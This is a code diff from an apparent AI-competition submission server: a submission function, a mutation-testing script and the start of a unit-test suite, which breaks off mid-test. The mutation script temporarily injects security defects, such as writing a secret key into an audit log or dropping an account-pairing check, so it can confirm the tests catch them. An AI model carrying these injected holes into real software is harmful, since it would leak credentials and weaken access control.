+ f"total_params={total_params / 1e9:.2f}B falls in '{declared_div}' "
231
+ f"but you selected '{division}'."
232
+ )
233
+ if not (0 < int(active_params) <= int(total_params)):
234
+ return False, "active_params must be > 0 and <= total_params."
235
+
236
+ ok, why = parse_image_ref(image_ref, image_digest)
237
+ if not ok:
238
+ return False, why
239
+
240
+ return True, (
241
+ f"Format valid: {config.TRACK_LABELS[track]} / {division}, image pinned by "
242
+ f"digest. Keep the image under {config.TEST_IMAGE_ADVERTISED_GB} GB "
243
+ f"compressed; contact the organizers first if your model needs more."
244
+ )
245
+
246
+
247
+ def validate_and_submit(
248
+ *,
249
+ hf_user: str,
250
+ track: str,
251
+ division: str,
252
+ team_name: str,
253
+ model_name: str,
254
+ license_str: str,
255
+ open_weight: bool,
256
+ total_params: int,
257
+ active_params: int,
258
+ image_ref: str,
259
+ image_digest: str,
260
+ token: str,
261
+ ) -> tuple[bool, str]:
262
+ """Full test-phase registration path. Returns (ok, message_for_user)."""
263
+ if not config.TEST_PHASE_OPEN:
264
+ return False, "The test phase is not open yet."
265
+ if not team_name.strip():
266
+ return False, "Team name is required."
267
+ if not token:
268
+ return False, "Server is missing its write token; contact the organizers."
269
+
270
+ ok, why = validate_only(
271
+ track=track,
272
+ division=division,
273
+ total_params=int(total_params),
274
+ active_params=int(active_params),
275
+ image_ref=image_ref,
276
+ image_digest=image_digest,
277
+ )
278
+ if not ok:
279
+ return False, why
280
+
281
+ api = HfApi(token=token)
282
+
283
+ held = count_test_submissions(api, hf_user, track, division)
284
+ if held >= config.MAX_TEST_SUBMISSIONS_PER_TRACK:
285
+ return False, (
286
+ f"Submission limit reached: {config.MAX_TEST_SUBMISSIONS_PER_TRACK} per "
287
+ f"team per sub-track for the test phase. {hf_user} already has {held} "
288
+ f"on {config.TRACK_LABELS[track]} / {division} (queued and completed "
289
+ f"submissions both count; ones we refused before running do not)."
290
+ )
291
+
292
+ sid = _new_sid()
293
+ base = f"requests/{config.TEST_PHASE}/{track}/{division}/{sid}"
294
+ # These field names are the contract with the worker's parse_request().
295
+ request = {
296
+ "submission_id": sid,
297
+ "phase": config.TEST_PHASE,
298
+ "track": track,
299
+ "division": division,
300
+ "team_name": team_name.strip(),
301
+ "hf_user": hf_user,
302
+ "model_name": model_name.strip(),
303
+ "license": license_str.strip(),
304
+ "open_weight": bool(open_weight),
305
+ "total_params": int(total_params),
306
+ "active_params": int(active_params),
307
+ # Pinned by digest, never by tag: a tag can be repointed at a different
308
+ # image after we record it, and immutable tags are belt-and-braces on top
309
+ # of this rather than a substitute for it.
310
+ "image": {
311
+ "ref": image_ref.strip(),
312
+ "digest": image_digest.strip(),
313
+ },
314
+ "created_at": _now_iso(),
315
+ "status": "PENDING",
316
+ }
317
+
318
+ try:
319
+ api.upload_file(
320
+ path_or_fileobj=io.BytesIO(json.dumps(request, indent=2).encode()),
321
+ path_in_repo=f"{base}/request.json",
322
+ repo_id=config.REQUESTS_REPO,
323
+ repo_type="dataset",
324
+ commit_message=f"test submit {sid} ({track}/{division}) by {hf_user}",
325
+ )
326
+ except Exception as e:
327
+ # Never surface the raw exception on a public UI; it can carry repo paths.
328
+ print(f"[submit_test] upload failed for {sid}: {e!r}")
329
+ return False, "Upload failed — please retry; contact the organizers if it persists."
330
+
331
+ remaining = config.MAX_TEST_SUBMISSIONS_PER_TRACK - held - 1
332
+ return True, (
333
+ f"✅ Registered as `{sid}` ({config.TRACK_LABELS[track]} / {division}). "
334
+ f"Status PENDING — the organizers will pull your image by digest, run it on "
335
+ f"the held-out test split and publish the score to the leaderboard. "
336
+ f"{remaining} of {config.MAX_TEST_SUBMISSIONS_PER_TRACK} submissions left on "
337
+ f"this sub-track."
338
+ )
tests/controls_register_test.py ADDED
@@ -0,0 +1,253 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """Negative controls for tests/test_register_test.py.
3
+
4
+ Each control re-introduces one defect the suite is supposed to catch, runs the
5
+ suite against the mutated source, and records WHICH tests failed and WHY. A
6
+ control that PASSES is the finding: the test it targets is vacuous.
7
+
8
+ Every mutation asserts that the text actually changed and that the result still
9
+ parses, so a refactor cannot silently turn a control into a no-op that reads
10
+ green. The original file is restored from an in-memory copy in a finally block.
11
+
12
+ python3 tests/controls_register_test.py
13
+ """
14
+
15
+ from __future__ import annotations
16
+
17
+ import ast
18
+ import os
19
+ import re
20
+ import subprocess
21
+ import sys
22
+
23
+ HERE = os.path.dirname(os.path.abspath(__file__))
24
+ REPO = os.path.dirname(HERE)
25
+ TARGET = os.path.join(REPO, "register_test.py")
26
+ SUITE = os.path.join(HERE, "test_register_test.py")
27
+
28
+
29
+ def mutate_disclose_without_recording(src: str) -> str:
30
+ """Remove the refuse-on-ledger-failure guard: disclose even if unlogged."""
31
+ old = """ except Exception as e:
32
+ # The ledger is how we know a key was handed out."""
33
+ new = """ except Exception as e: # noqa: F841
34
+ pass
35
+ if False:
36
+ # The ledger is how we know a key was handed out."""
37
+ assert old in src
38
+ return src.replace(old, new, 1)
39
+
40
+
41
+ def mutate_drop_the_pairing_check(src: str) -> str:
42
+ """Admit anyone signed in whose typed team is on the shortlist."""
43
+ old = " if (hf_user, team) not in pairs:"
44
+ new = " if False:"
45
+ assert old in src
46
+ return src.replace(old, new, 1)
47
+
48
+
49
+ def mutate_put_the_secret_in_the_ledger(src: str) -> str:
50
+ """Write the secret access key into the audit row."""
51
+ old = ' "access_key_id": cred.get("access_key_id"),'
52
+ new = (
53
+ ' "access_key_id": cred.get("access_key_id"),\n'
54
+ ' "secret_access_key": cred.get("secret_access_key"),'
55
+ )
56
+ assert old in src
57
+ return src.replace(old, new, 1)
58
+
59
+
60
+ def mutate_validate_after_the_network_reads(src: str) -> str:
61
+ """Move every form-level check below the dataset reads.
62
+
63
+ SLICED between two stable markers rather than matching a hardcoded block.
64
+ Re-anchored twice already (parse_email, then the model-name check), and each
65
+ time the hardcoded version asserted instead of testing anything. The markers
66
+ are the start of the first form check and the `try:` that opens the network
67
+ section; anything added between them travels with the block automatically.
68
+ """
69
+ head = " roster, why = parse_members(members)"
70
+ tail = " try:\n shortlist = load_shortlist(api)"
71
+ i = src.index(head)
72
+ j = src.index(tail)
73
+ block = src[i:j]
74
+ assert "parse_total_params" in block, "sliced block is not the validation block"
75
+ assert "parse_poc" in block, "sliced block is missing the roster checks"
76
+ out = src[:i] + src[j:]
77
+ anchor = " ok, why = check(hf_user, team_name, track, division, pairs, shortlist)"
78
+ assert anchor in out
79
+ return out.replace(anchor, block + anchor, 1)
80
+
81
+
82
+ def mutate_accept_a_zero_declaration(src: str) -> str:
83
+ """Let a declared size of zero through into the ledger."""
84
+ old = " if billions <= 0:"
85
+ new = " if billions < 0:"
86
+ assert old in src
87
+ return src.replace(old, new, 1)
88
+
89
+
90
+ def mutate_ignore_the_subtrack_seat(src: str) -> str:
91
+ """Let any shortlisted team register any sub-track."""
92
+ old = " if sub not in shortlist[team]:"
93
+ new = " if False:"
94
+ assert old in src
95
+ return src.replace(old, new, 1)
96
+
97
+
98
+ def mutate_drop_the_division_consistency_check(src: str) -> str:
99
+ """Accept a 7B model registered as Small."""
100
+ old = " if actual != division:"
101
+ new = " if False:"
102
+ assert old in src
103
+ return src.replace(old, new, 1)
104
+
105
+
106
+ def mutate_accept_any_email(src: str) -> str:
107
+ """Stop validating the contact address."""
108
+ old = " if not _EMAIL_RE.match(email):"
109
+ new = " if False:"
110
+ assert old in src
111
+ return src.replace(old, new, 1)
112
+
113
+
114
+ def mutate_drop_the_model_name_requirement(src: str) -> str:
115
+ """Accept a registration with no model name."""
116
+ old = " if not model:"
117
+ new = " if False:"
118
+ assert old in src
119
+ return src.replace(old, new, 1)
120
+
121
+
122
+ def mutate_never_flag_a_size_discrepancy(src: str) -> str:
123
+ """Stop comparing the declared size against the validation declaration."""
124
+ old = " if bigger < smaller * factor:"
125
+ new = " if True:"
126
+ assert old in src
127
+ return src.replace(old, new, 1)
128
+
129
+
130
+ def mutate_accept_a_poc_off_the_roster(src: str) -> str:
131
+ """Let the point of contact be anyone at all."""
132
+ old = " if addr.lower() not in known:"
133
+ new = " if False:"
134
+ assert old in src
135
+ return src.replace(old, new, 1)
136
+
137
+
138
+ def mutate_accept_an_empty_roster(src: str) -> str:
139
+ """Register a team with no members listed."""
140
+ old = " if not lines:"
141
+ new = " if False and not lines:"
142
+ assert old in src
143
+ return src.replace(old, new, 1)
144
+
145
+
146
+ CONTROLS = [
147
+ ("discloses a credential it failed to record", mutate_disclose_without_recording),
148
+ ("admits an account that never used that team name", mutate_drop_the_pairing_check),
149
+ ("writes the secret access key into the audit ledger", mutate_put_the_secret_in_the_ledger),
150
+ ("reads the datasets before validating the form", mutate_validate_after_the_network_reads),
151
+ ("accepts a declared size of zero parameters", mutate_accept_a_zero_declaration),
152
+ ("lets a team register a sub-track it has no seat in", mutate_ignore_the_subtrack_seat),
153
+ ("accepts a model in the wrong division", mutate_drop_the_division_consistency_check),
154
+ ("accepts any string as a contact email", mutate_accept_any_email),
155
+ ("accepts a registration with no model name", mutate_drop_the_model_name_requirement),
156
+ ("never flags a size discrepancy", mutate_never_flag_a_size_discrepancy),
157
+ ("accepts a point of contact who is not on the team", mutate_accept_a_poc_off_the_roster),
158
+ ("accepts a team with no members listed", mutate_accept_an_empty_roster),
159
+ ]
160
+
161
+ _BLOCK = re.compile(r"^(?:FAIL|ERROR): (\S+) \(([^)]+)\)", re.M)
162
+
163
+
164
+ def failures_with_reasons(output: str) -> list[tuple[str, str]]:
165
+ """(test name, first line of its traceback's reason), scoped per block.
166
+
167
+ Scoped to the FAIL:/ERROR: block it belongs to. Taking the first
168
+ exception-looking line anywhere in stdout picks up a test's own expected
169
+ exception logging and serves it as the reason.
170
+ """
171
+ out = []
172
+ marks = list(_BLOCK.finditer(output))
173
+ for i, m in enumerate(marks):
174
+ end = marks[i + 1].start() if i + 1 < len(marks) else len(output)
175
+ body = output[m.start():end]
176
+ reason = "(reason not captured)"
177
+ for line in body.splitlines():
178
+ s = line.strip()
179
+ if s.startswith(("AssertionError", "Assertion", "Error", "OSError")) or (
180
+ ":" in s and s.split(":")[0].endswith("Error")
181
+ ):
182
+ reason = s
183
+ break
184
+ out.append((m.group(1), reason))
185
+ return out
186
+
187
+
188
+ def run_suite() -> tuple[int, str]:
189
+ p = subprocess.run(
190
+ [sys.executable, SUITE],
191
+ capture_output=True,
192
+ text=True,
193
+ cwd=REPO,
194
+ )
195
+ return p.returncode, p.stdout + p.stderr
196
+
197
+
198
+ def main() -> int:
199
+ with open(TARGET, encoding="utf-8") as fh:
200
+ original = fh.read()
201
+
202
+ print(f"target: {TARGET}")
203
+ print(f"suite: {SUITE}")
204
+ print(f"python: {sys.version.split()[0]}\n")
205
+
206
+ rc, out = run_suite()
207
+ baseline = out.strip().splitlines()[-1]
208
+ print(f"BASELINE (unmutated): rc={rc} {baseline}")
209
+ if rc != 0:
210
+ print("baseline is not green; controls cannot be interpreted")
211
+ return 2
212
+
213
+ results = []
214
+ try:
215
+ for name, mutate in CONTROLS:
216
+ mutated = mutate(original)
217
+ assert mutated != original, f"{name}: mutation changed nothing"
218
+ ast.parse(mutated) # a control that does not parse tests nothing
219
+ with open(TARGET, "w", encoding="utf-8") as fh:
220
+ fh.write(mutated)
221
+ rc, out = run_suite()
222
+ reasons = failures_with_reasons(out)
223
+ bit = rc != 0
224
+ results.append((name, bit, out.strip().splitlines()[-1], reasons))
225
+ print(f"\n=== CONTROL: {name}")
226
+ print(f" bites: {'YES' if bit else 'NO <-- FINDING: the test is vacuous'}")
227
+ print(f" {out.strip().splitlines()[-1]}")
228
+ for test, reason in reasons:
229
+ print(f" {test}")
230
+ print(f" {reason}")
231
+ finally:
232
+ with open(TARGET, "w", encoding="utf-8") as fh:
233
+ fh.write(original)
234
+
235
+ rc, out = run_suite()
236
+ print(f"\nRESTORED: rc={rc} {out.strip().splitlines()[-1]}")
237
+ restored_ok = rc == 0
238
+
239
+ real = sum(
240
+ 1
241
+ for _, bit, _, reasons in results
242
+ if bit and any(r != "(reason not captured)" for _, r in reasons)
243
+ )
244
+ bitten = sum(1 for _, bit, _, _ in results if bit)
245
+ print(
246
+ f"\nSUMMARY: {bitten} of {len(results)} controls bit; "
247
+ f"{real} of {bitten} carry a real reason; restored green: {restored_ok}"
248
+ )
249
+ return 0 if bitten == len(results) and restored_ok else 1
250
+
251
+
252
+ if __name__ == "__main__":
253
+ sys.exit(main())
tests/test_register_test.py ADDED
@@ -0,0 +1,697 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """Tests for test-phase registration: eligibility, declaration, disclosure.
3
+
4
+ Hermetic: no network, no HF. The HfApi and hf_hub_download the module reaches
5
+ for are injected as fakes.
6
+
7
+ Two properties carry the whole module and are asserted hardest:
8
+
9
+ 1. A refusal must never contain any part of a credential. Every negative path is
10
+ checked against the fixture secret, not just the ones that look risky, so a
11
+ future edit that starts echoing state into an error message fails here.
12
+ 2. A disclosure must be recorded before it is rendered. If the ledger write
13
+ fails, nothing is shown; an unlogged disclosure is permanently unaccountable.
14
+
15
+ python3 tests/test_register_test.py
16
+ """
17
+
18
+ from __future__ import annotations
19
+
20
+ import json
21
+ import os
22
+ import sys
23
+ import tempfile
24
+ import unittest
25
+ from unittest import mock
26
+
27
+ sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
28
+
29
+ import config # noqa: E402
30
+ import register_test as rt # noqa: E402
31
+
32
+
33
+ SECRET = "wJalrXUtnFEMI-FIXTURE-NOT-A-REAL-KEY-bPxRfiCY"
34
+ KEY_ID = "AKIAIOSFODNN7EXAMPLE" # AWS's own documentation example, on purpose.
35
+ REPO_URI = "123456789012.dkr.ecr.us-east-2.amazonaws.com/wearable-ai-2026/team-a"
36
+
37
+ CRED = {
38
+ "repo_uri": REPO_URI,
39
+ "access_key_id": KEY_ID,
40
+ "secret_access_key": SECRET,
41
+ "region": "us-east-2",
42
+ }
43
+
44
+
45
+ class FakeApi:
46
+ """Records uploads; serves canned result files."""
47
+
48
+ def __init__(self, results=None, fail_upload=False):
49
+ self.token = "fake-token"
50
+ self._results = results if results is not None else []
51
+ self.uploads = []
52
+ self.fail_upload = fail_upload
53
+
54
+ def list_repo_files(self, repo_id, repo_type=None):
55
+ return [f"results/{config.PHASE}/{i}.json" for i in range(len(self._results))]
56
+
57
+ def upload_file(self, **kw):
58
+ if self.fail_upload:
59
+ raise OSError("ledger unavailable")
60
+ self.uploads.append(kw)
61
+
62
+
63
+ def _download_factory(tmpdir, api, shortlist, credentials):
64
+ """Stand-in for hf_hub_download: writes the requested JSON and returns a path."""
65
+
66
+ def _download(repo_id, filename, repo_type=None, token=None):
67
+ if filename == rt.SHORTLIST_PATH:
68
+ payload = shortlist
69
+ elif filename == rt.CREDENTIALS_PATH:
70
+ payload = credentials
71
+ else:
72
+ idx = int(os.path.basename(filename).split(".")[0])
73
+ payload = api._results[idx]
74
+ path = os.path.join(tmpdir, filename.replace("/", "_"))
75
+ with open(path, "w", encoding="utf-8") as fh:
76
+ json.dump(payload, fh)
77
+ return path
78
+
79
+ return _download
80
+
81
+
82
+ class ParseTotalParamsTest(unittest.TestCase):
83
+ """The declaration is required, positive, and reported in the unit asked for."""
84
+
85
+ def test_a_plain_count_in_billions_becomes_whole_parameters(self):
86
+ self.assertEqual(rt.parse_total_params(7)[0], 7_000_000_000)
87
+ self.assertEqual(rt.parse_total_params("1.5")[0], 1_500_000_000)
88
+
89
+ def test_a_missing_count_is_refused_and_names_the_frozen_backbone(self):
90
+ params, why = rt.parse_total_params(None)
91
+ self.assertIsNone(params)
92
+ self.assertIn("frozen backbone", why)
93
+
94
+ def test_zero_is_refused_rather_than_stored(self):
95
+ # Several validation entries declared 0.00000B. A zero in the ledger is
96
+ # indistinguishable from never having been asked.
97
+ for value in (0, 0.0, "0"):
98
+ params, why = rt.parse_total_params(value)
99
+ self.assertIsNone(params, f"{value!r} should be refused")
100
+ self.assertIn("greater than zero", why)
101
+
102
+ def test_a_non_number_is_refused_without_raising(self):
103
+ params, why = rt.parse_total_params("seven billion")
104
+ self.assertIsNone(params)
105
+ self.assertIn("number", why)
106
+
107
+ def test_a_count_that_rounds_to_zero_parameters_is_refused(self):
108
+ params, why = rt.parse_total_params(1e-12)
109
+ self.assertIsNone(params)
110
+ self.assertIn("rounds to zero", why)
111
+
112
+ def test_the_floor_is_off_by_default_so_no_team_is_refused_on_size_today(self):
113
+ # Whether to apply a floor is an open organizer decision; the shipped
114
+ # default must not silently enforce one.
115
+ self.assertEqual(config.TEST_REGISTRATION_MIN_TOTAL_PARAMS, 0)
116
+ self.assertIsNotNone(rt.parse_total_params(0.0001)[0])
117
+
118
+ def test_setting_the_floor_is_the_whole_change(self):
119
+ # Pins the claim made in the config comment: one constant, no code edit.
120
+ with mock.patch.object(config, "TEST_REGISTRATION_MIN_TOTAL_PARAMS", 100_000_000):
121
+ params, why = rt.parse_total_params(0.001) # 1M
122
+ self.assertIsNone(params)
123
+ self.assertIn("0.1B floor", why)
124
+ self.assertIsNotNone(rt.parse_total_params(0.5)[0])
125
+
126
+
127
+ class ParseEmailTest(unittest.TestCase):
128
+ def test_a_plain_address_is_accepted_and_trimmed(self):
129
+ self.assertEqual(rt.parse_email(" team@example.com ")[0], "team@example.com")
130
+
131
+ def test_an_empty_address_is_refused(self):
132
+ addr, why = rt.parse_email("")
133
+ self.assertIsNone(addr)
134
+ self.assertIn("contact email", why)
135
+
136
+ def test_obvious_nonsense_is_refused(self):
137
+ for bad in ("nope", "a@b", "a b@example.com", "@example.com", "a@@b.com"):
138
+ with self.subTest(value=bad):
139
+ self.assertIsNone(rt.parse_email(bad)[0], f"{bad!r} should be refused")
140
+
141
+ def test_unusual_but_real_addresses_are_not_rejected(self):
142
+ # A strict regex that refuses a real address locks a shortlisted team
143
+ # out of the phase, which is worse than storing one that bounces.
144
+ for good in ("a+tag@example.co.uk", "first.last@sub.example.org",
145
+ "x_y-z@example-domain.com"):
146
+ with self.subTest(value=good):
147
+ self.assertIsNotNone(rt.parse_email(good)[0], f"{good!r} is real")
148
+
149
+
150
+ class CheckDivisionTest(unittest.TestCase):
151
+ """The declared size must match the division being entered."""
152
+
153
+ def test_a_small_model_in_small_and_a_large_in_large_pass(self):
154
+ self.assertTrue(rt.check_division(1_000_000_000, "small")[0])
155
+ self.assertTrue(rt.check_division(7_000_000_000, "large")[0])
156
+
157
+ def test_a_large_model_declared_as_small_is_refused_by_name(self):
158
+ ok, why = rt.check_division(7_000_000_000, "small")
159
+ self.assertFalse(ok)
160
+ self.assertIn("large", why)
161
+ self.assertIn("at most 2B", why)
162
+
163
+ def test_a_small_model_declared_as_large_is_refused(self):
164
+ ok, why = rt.check_division(1_000_000_000, "large")
165
+ self.assertFalse(ok)
166
+ self.assertIn("more than 2B", why)
167
+
168
+ def test_the_boundary_belongs_to_small(self):
169
+ # 2B exactly is Small; one parameter more is Large. Pinned because an
170
+ # off-by-one here silently moves a team between divisions.
171
+ self.assertTrue(rt.check_division(2_000_000_000, "small")[0])
172
+ self.assertTrue(rt.check_division(2_000_000_001, "large")[0])
173
+
174
+
175
+ class SubtrackTest(unittest.TestCase):
176
+ def test_the_key_matches_what_the_shortlist_file_uses(self):
177
+ # load_shortlist() builds "track/division" from the report; if these two
178
+ # ever disagree, every seat lookup fails and nobody can register.
179
+ self.assertEqual("convqa/large", rt.subtrack("convqa", "large"))
180
+ report = {"subtracks": [{"track": "convqa", "division": "large",
181
+ "shortlist": [{"team_name": "Team A"}]}]}
182
+ with mock.patch.object(rt, "_read_json", return_value=report):
183
+ got = rt.load_shortlist(None)
184
+ self.assertIn(rt.subtrack("convqa", "large"), got["team a"])
185
+
186
+
187
+ class ParseMembersTest(unittest.TestCase):
188
+ def test_one_member_per_line(self):
189
+ m, why = rt.parse_members("Ada Lovelace, ada@example.com\nAlan Turing, alan@example.org")
190
+ self.assertEqual(2, len(m), why)
191
+ self.assertEqual({"name": "Ada Lovelace", "email": "ada@example.com"}, m[0])
192
+
193
+ def test_the_angle_bracket_form_is_accepted(self):
194
+ m, _ = rt.parse_members("Ada Lovelace <ada@example.com>")
195
+ self.assertEqual([{"name": "Ada Lovelace", "email": "ada@example.com"}], m)
196
+
197
+ def test_blank_lines_and_padding_are_ignored(self):
198
+ m, _ = rt.parse_members("\n Ada, ada@example.com \n\n")
199
+ self.assertEqual(1, len(m))
200
+
201
+ def test_an_empty_roster_is_refused(self):
202
+ m, why = rt.parse_members(" \n ")
203
+ self.assertIsNone(m)
204
+ self.assertIn("one per line", why)
205
+
206
+ def test_a_line_that_is_not_name_comma_email_names_its_line_number(self):
207
+ m, why = rt.parse_members("Ada, ada@example.com\njust-a-name")
208
+ self.assertIsNone(m)
209
+ self.assertIn("Line 2", why)
210
+
211
+ def test_a_bad_address_names_its_line_number(self):
212
+ m, why = rt.parse_members("Ada, ada@example.com\nAlan, nope")
213
+ self.assertIsNone(m)
214
+ self.assertIn("Line 2", why)
215
+
216
+ def test_an_address_with_no_name_is_refused(self):
217
+ m, why = rt.parse_members(", ada@example.com")
218
+ self.assertIsNone(m)
219
+ self.assertIn("no name", why)
220
+
221
+ def test_the_same_address_twice_is_refused(self):
222
+ m, why = rt.parse_members("Ada, a@example.com\nAda2, A@Example.com")
223
+ self.assertIsNone(m)
224
+ self.assertIn("twice", why)
225
+
226
+ def test_an_absurd_roster_is_refused_rather_than_stored(self):
227
+ m, why = rt.parse_members("\n".join(
228
+ f"P{i}, p{i}@example.com" for i in range(rt.MAX_TEAM_MEMBERS + 1)))
229
+ self.assertIsNone(m)
230
+ self.assertIn("at most", why)
231
+
232
+
233
+ class ParsePocTest(unittest.TestCase):
234
+ ROSTER = [{"name": "Ada", "email": "ada@example.com"},
235
+ {"name": "Alan", "email": "alan@example.org"}]
236
+
237
+ def test_the_record_ties_the_signed_in_account_to_the_person(self):
238
+ # The point: the account matched against the shortlist and the human we
239
+ # write to are the same entity, recorded together.
240
+ rec, why = rt.parse_poc("alan@example.org", self.ROSTER, "alice")
241
+ self.assertEqual(
242
+ {"hf_user": "alice", "name": "Alan", "email": "alan@example.org"},
243
+ rec, why,
244
+ )
245
+
246
+ def test_case_does_not_matter_and_the_listed_spelling_is_kept(self):
247
+ rec, _ = rt.parse_poc("ADA@Example.com", self.ROSTER, "alice")
248
+ self.assertEqual("ada@example.com", rec["email"])
249
+ self.assertEqual("Ada", rec["name"])
250
+
251
+ def test_someone_not_on_the_roster_is_refused_and_the_roster_is_shown(self):
252
+ # A point of contact who is not on the team is how a message reaches
253
+ # nobody, so this must refuse rather than store.
254
+ rec, why = rt.parse_poc("someone@else.com", self.ROSTER, "alice")
255
+ self.assertIsNone(rec)
256
+ self.assertIn("not one of the team members", why)
257
+ self.assertIn("ada@example.com", why)
258
+
259
+ def test_an_empty_poc_is_refused(self):
260
+ self.assertIsNone(rt.parse_poc("", self.ROSTER, "alice")[0])
261
+
262
+
263
+ class SizeNoteTest(unittest.TestCase):
264
+ """Compares against the validation declaration. Never refuses."""
265
+
266
+ SEAT = {"model_name": "ValModel", "total_params": 7_000_000_000}
267
+
268
+ def test_the_same_size_says_nothing(self):
269
+ self.assertEqual("", rt.size_note(self.SEAT, 7_000_000_000))
270
+
271
+ def test_an_ordinary_change_of_model_says_nothing(self):
272
+ # A team is allowed to bring a different model, so 7B -> 13B is not
273
+ # remarkable and must not nag.
274
+ self.assertEqual("", rt.size_note(self.SEAT, 13_000_000_000))
275
+
276
+ def test_an_order_of_magnitude_smaller_is_flagged(self):
277
+ note = rt.size_note(self.SEAT, 7_000_000) # 7M against 7B
278
+ self.assertIn("smaller", note)
279
+ self.assertIn("7B", note)
280
+
281
+ def test_an_order_of_magnitude_larger_is_flagged(self):
282
+ self.assertIn("larger", rt.size_note(self.SEAT, 700_000_000_000))
283
+
284
+ def test_a_seat_with_no_recorded_size_says_nothing(self):
285
+ # Hand-edited shortlists carry no seat detail; that must be silent
286
+ # rather than crash or invent a comparison.
287
+ self.assertEqual("", rt.size_note({}, 7_000_000_000))
288
+
289
+ def test_the_note_can_be_switched_off(self):
290
+ with mock.patch.object(config, "TEST_REGISTRATION_SIZE_DISCREPANCY_FACTOR", 0):
291
+ self.assertEqual("", rt.size_note(self.SEAT, 7_000_000))
292
+
293
+ def test_it_never_refuses(self):
294
+ # size_note returns prose, never a verdict. Pinned because turning this
295
+ # into a gate would lock out every team that improved its model.
296
+ self.assertIsInstance(rt.size_note(self.SEAT, 1), str)
297
+
298
+
299
+ class NormalizeTeamTest(unittest.TestCase):
300
+ def test_case_whitespace_and_edge_punctuation_do_not_make_two_teams(self):
301
+ self.assertEqual(rt.normalize_team(" Team A "), rt.normalize_team("team a"))
302
+ self.assertEqual(rt.normalize_team("(fufu)"), rt.normalize_team("fufu"))
303
+
304
+ def test_it_agrees_with_the_organizer_shortlist_tool(self):
305
+ """The two implementations are duplicated on purpose; pin them together.
306
+
307
+ register_test runs inside the Space and shortlist.py is an organizer
308
+ tool, so they cannot import each other. If they disagree, a team that
309
+ the shortlist seats is a team this module cannot find.
310
+ """
311
+ try:
312
+ import shortlist
313
+ except ImportError:
314
+ self.skipTest("shortlist.py is an organizer tool, not shipped to the Space")
315
+ for name in ["Team A", " team a ", "(fufu)", "Deus Voir", "HIPPO-", "a.b"]:
316
+ self.assertEqual(
317
+ rt.normalize_team(name),
318
+ shortlist.normalize_team(name),
319
+ f"the two normalizers disagree on {name!r}",
320
+ )
321
+
322
+
323
+ class CheckTest(unittest.TestCase):
324
+ """Eligibility. Every refusal must say which check failed."""
325
+
326
+ PAIRS = {("alice", "team a"), ("bob", "team b")}
327
+ SHORTLIST = {"team a": {"convqa/large": {"model_name": "ValModel",
328
+ "total_params": 7_000_000_000},
329
+ "longqa/small": {}}}
330
+
331
+ def _check(self, user, team, track="convqa", division="large"):
332
+ return rt.check(user, team, track, division, self.PAIRS, self.SHORTLIST)
333
+
334
+ def test_a_shortlisted_team_on_its_own_account_passes(self):
335
